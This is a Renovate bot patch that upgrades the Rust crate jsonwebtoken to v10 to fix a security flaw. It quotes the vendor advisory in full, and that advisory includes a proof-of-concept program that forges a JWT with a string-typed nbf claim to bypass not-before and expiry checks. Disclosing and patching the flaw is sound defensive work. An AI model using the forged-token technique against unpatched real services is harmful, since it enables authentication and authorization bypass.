From 8f4c493e90a69e7a6f5d25793751d3db2dab438f Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Tue, 3 Feb 2026 15:51:40 -0500 Subject: [PATCH] Update Rust crate jsonwebtoken to v10 [SECURITY] (#48294) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [jsonwebtoken](https://redirect.github.com/Keats/jsonwebtoken) | workspace.dependencies | major | `9.3` → `10.0` | --- > [!WARNING] > Some dependencies could not be looked up. Check the Dependency Dashboard for more information. ### GitHub Vulnerability Alerts #### [GHSA-h395-gr6q-cpjc](https://redirect.github.com/Keats/jsonwebtoken/security/advisories/GHSA-h395-gr6q-cpjc) ## Summary: It has been discovered that there is a Type Confusion vulnerability in jsonwebtoken, specifically, in its claim validation logic. When a standard claim (such as nbf or exp) is provided with an incorrect JSON type (Like a String instead of a Number), the library’s internal parsing mechanism marks the claim as “FailedToParse”. Crucially, the validation logic treats this “FailedToParse” state identically to “NotPresent”. This means that if a check is enabled (like: validate_nbf = true), but the claim is not explicitly marked as required in required_spec_claims, the library will skip the validation check entirely for the malformed claim, treating it as if it were not there. This allows attackers to bypass critical time-based security restrictions (like “Not Before” checks) and commit potential authentication and authorization bypasses. ## Details: The vulnerability stems from the interaction between the TryParse enum and the validate function in [src/validation.rs](https://redirect.github.com/Keats/jsonwebtoken/blob/master/src/validation.rs). 1. The TryParse Enum: The library uses a custom TryParse enum to handle claim deserialization: ``` enum TryParse { Parsed(T), FailedToParse, // Set when deserialization fails (e.g. type mismatch) NotPresent, } ``` If a user sends {“nbf”: “99999999999”} (legacy/string format), serde fails to parse it as u64, and it results in TryParse::FailedToParse. 1. The Validation Logic Flaw (src/validation.rs): In Validation::validate, the code checks for exp and nbf like this: ``` // L288-291 if matches!(claims.nbf, TryParse::Parsed(nbf) if options.validate_nbf && nbf > now + options.leeway) { return Err(new_error(ErrorKind::ImmatureSignature)); } ``` This matches! macro explicitly looks for TryParse::Parsed(nbf). • If claims.nbf is FailedToParse, the match returns false. • The if block is skipped. • No error is returned. 1. The “Required Claims” Gap: The only fallback mechanism is the “Required Claims” check: ``` // Lines 259-267 for required_claim in &options.required_spec_claims { let present = match required_claim.as_str() { "nbf" => matches!(claims.nbf, TryParse::Parsed(_)), // ... }; if !present { return Err(...); } } ``` If “nbf” IS in required_spec_claims, FailedToParse will fail the matches!(..., Parsed(_)) check, causing the present to be false, and correctly returning an error. However, widely accepted usage patterns often enable validation flags (validate_nbf = true) without adding the claim to the required list, assuming that enabling validation implicitly requires the claim’s validity if it appears in the token. jsonwebtoken seems to violate this assumption. Environment: • Version: jsonwebtoken 10.2.0 • Rust Version: rustc 1.90.0 • Cargo Version: cargo 1.90.0 • OS: MacOS Tahoe 26.2 POC: For demonstrating, Here is this simple rust code that demonstrates the bypass. It attempts to validate a token with a string nbf claiming to be valid only in the far future. create a new project: ``` cargo new nbf_poc; cd nbf_poc ``` add required dependencies: ``` cargo add serde --features derive cargo add jsonwebtoken --features rust_crypto cargo add serde_json ``` replace the code in src/main.rs with this: ``` use jsonwebtoken::{decode, Validation, Algorithm, DecodingKey, Header, EncodingKey, encode}; use serde::{Deserialize, Serialize}; #[derive(Debug, Serialize, Deserialize)] struct Claims { sub: String, nbf: String, // Attacker sends nbf as a String exp: usize, } fn main() { let key: &[u8; 24] = b"RedMouseOverTheSkyIsBlue"; // nbf is a String "99999999999" (Far future) // Real nbf should be a Number. let my_claims: Claims = Claims { sub: "krishna".to_string(), nbf: "99999999999".to_string(), exp: 10000000000, }; let token: String = encode(&Header::default(), &my_claims, &EncodingKey::from_secret(key)).unwrap(); println!("Forged Token: {}", token); // 2. Configure Validation let mut validation: Validation = Validation::new(Algorithm::HS256); validation.validate_nbf = true; // Enable NBF check // We do NOT add "nbf" to required_spec_claims (default behavior) // We decode to serde_json::Value to avoid strict type errors in our struct definition hiding the library bug. // The library sees the raw JSON with string "nbf". let result: Result, jsonwebtoken::errors::Error> = decode::( &token, &DecodingKey::from_secret(key), &validation ); match result { Ok(_) => println!("Token was accepted despite malformed far-future 'nbf'!"), Err(e) => println!("Token rejected. Error: {:?}", e), } } ``` run cargo run expected behaviour: ``` Forged Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJrcmlzaG5hIiwibmJmIjoiOTk5OTk5OTk5OTkiLCJleHAiOjEwMDAwMDAwMDAwfQ.Fm3kZIqMwqIA6sEA1w52UOMqqnu4hlO3FQStFmbaOwk ``` Token was accepted despite malformed far-future 'nbf'! Impact: If an application uses jsonwebtoken nbf (Not Before) to schedule access for the future (like “Access granted starting tomorrow”). By sending nbf as a string, an attacker can bypass this restriction and access the resource immediately. and for the exp claim (this is unlikely but still adding), If a developer sets validate_exp = true but manually handles claim presence (removing exp from required_spec_claims), an attacker can send a string exp (e.g., “never”) and bypass expiration checks entirely. The token becomes valid forever. --- ### Release Notes
Keats/jsonwebtoken (jsonwebtoken) ### [`v10.3.0`](https://redirect.github.com/Keats/jsonwebtoken/blob/HEAD/CHANGELOG.md#1030-2026-01-27) [Compare Source](https://redirect.github.com/Keats/jsonwebtoken/compare/v10.2.0...v10.3.0) - Export everything needed to define your own CryptoProvider - Fix type confusion with exp/nbf when not required ### [`v10.2.0`](https://redirect.github.com/Keats/jsonwebtoken/blob/HEAD/CHANGELOG.md#1020-2025-11-06) [Compare Source](https://redirect.github.com/Keats/jsonwebtoken/compare/v10.1.0...v10.2.0) - Remove `Clone` bound from decode functions ### [`v10.1.0`](https://redirect.github.com/Keats/jsonwebtoken/blob/HEAD/CHANGELOG.md#1010-2025-10-18) [Compare Source](https://redirect.github.com/Keats/jsonwebtoken/compare/v10.0.0...v10.1.0) - add `dangerous::insecure_decode` - Implement TryFrom \&Jwk for DecodingKey ### [`v10.0.0`](https://redirect.github.com/Keats/jsonwebtoken/blob/HEAD/CHANGELOG.md#1000-2025-09-29) [Compare Source](https://redirect.github.com/Keats/jsonwebtoken/compare/v9.3.1...v10.0.0) - BREAKING: now using traits for crypto backends, you have to choose between `aws_lc_rs` and `rust_crypto` - Add `Clone` bound to `decode` - Support decoding byte slices - Support JWS
--- ### Configuration 📅 **Schedule**: Branch creation - "" in timezone America/New_York, Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] If you want to rebase/retry this PR, check this box --- Release Notes: - N/A --------- Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Marshall Bowers --- Cargo.lock | 27 +++++++++++++-------------- Cargo.toml | 2 +- crates/livekit_api/Cargo.toml | 2 +- 3 files changed, 15 insertions(+), 16 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 8acd3e7f8716efb6638ab50844a146e7ae35a294..ab1caded99a7c03cc35cb773b8beffc55eb7c698 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1476,9 +1476,9 @@ dependencies = [ [[package]] name = "aws-lc-rs" -version = "1.14.1" +version = "1.15.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "879b6c89592deb404ba4dc0ae6b58ffd1795c78991cbb5b8bc441c48a070440d" +checksum = "7b7b6141e96a8c160799cc2d5adecd5cbbe5054cb8c7c4af53da0f83bb7ad256" dependencies = [ "aws-lc-sys", "untrusted 0.7.1", @@ -1487,11 +1487,10 @@ dependencies = [ [[package]] name = "aws-lc-sys" -version = "0.32.3" +version = "0.37.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "107a4e9d9cab9963e04e84bb8dee0e25f2a987f9a8bad5ed054abd439caa8f8c" +checksum = "5c34dda4df7017c8db52132f0f8a2e0f8161649d15723ed63fc00c82d0f2081a" dependencies = [ - "bindgen 0.72.1", "cc", "cmake", "dunce", @@ -2091,7 +2090,7 @@ dependencies = [ "bitflags 2.9.4", "cexpr", "clang-sys", - "itertools 0.12.1", + "itertools 0.10.5", "log", "prettyplease", "proc-macro2", @@ -2111,9 +2110,7 @@ dependencies = [ "bitflags 2.9.4", "cexpr", "clang-sys", - "itertools 0.12.1", - "log", - "prettyplease", + "itertools 0.10.5", "proc-macro2", "quote", "regex", @@ -8840,16 +8837,18 @@ dependencies = [ [[package]] name = "jsonwebtoken" -version = "9.3.1" +version = "10.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5a87cc7a48537badeae96744432de36f4be2b4a34a05a5ef32e9dd8a1c169dde" +checksum = "0529410abe238729a60b108898784df8984c87f6054c9c4fcacc47e4803c1ce1" dependencies = [ + "aws-lc-rs", "base64 0.22.1", + "getrandom 0.2.16", "js-sys", "pem", - "ring", "serde", "serde_json", + "signature 2.2.0", "simple_asn1", ] @@ -12966,7 +12965,7 @@ checksum = "22505a5c94da8e3b7c2996394d1c933236c4d743e81a410bcca4e6989fc066a4" dependencies = [ "bytes 1.11.1", "heck 0.5.0", - "itertools 0.12.1", + "itertools 0.10.5", "log", "multimap 0.10.1", "once_cell", @@ -12999,7 +12998,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "81bddcdb20abf9501610992b6759a4c888aef7d1a7247ef75e2404275ac24af1" dependencies = [ "anyhow", - "itertools 0.12.1", + "itertools 0.10.5", "proc-macro2", "quote", "syn 2.0.106", diff --git a/Cargo.toml b/Cargo.toml index cf2041bcf4e7ad56132562c71422f9300f5d66c6..33c40c105219ca53b52d13219455d6033197157b 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -550,7 +550,7 @@ inventory = "0.3.19" itertools = "0.14.0" json_dotpath = "1.1" jsonschema = "0.37.0" -jsonwebtoken = "9.3" +jsonwebtoken = "10.0" jupyter-protocol = "0.10.0" jupyter-websocket-client = "0.15.0" libc = "0.2" diff --git a/crates/livekit_api/Cargo.toml b/crates/livekit_api/Cargo.toml index 421deee113e7d1e4967c268f58ccc132d0284b01..2b2438c25e6d3c987df0a44f02de0ab161620bd6 100644 --- a/crates/livekit_api/Cargo.toml +++ b/crates/livekit_api/Cargo.toml @@ -16,7 +16,7 @@ doctest = false [dependencies] anyhow.workspace = true async-trait.workspace = true -jsonwebtoken.workspace = true +jsonwebtoken = { workspace = true, features = ["aws_lc_rs"] } log.workspace = true prost.workspace = true prost-types.workspace = true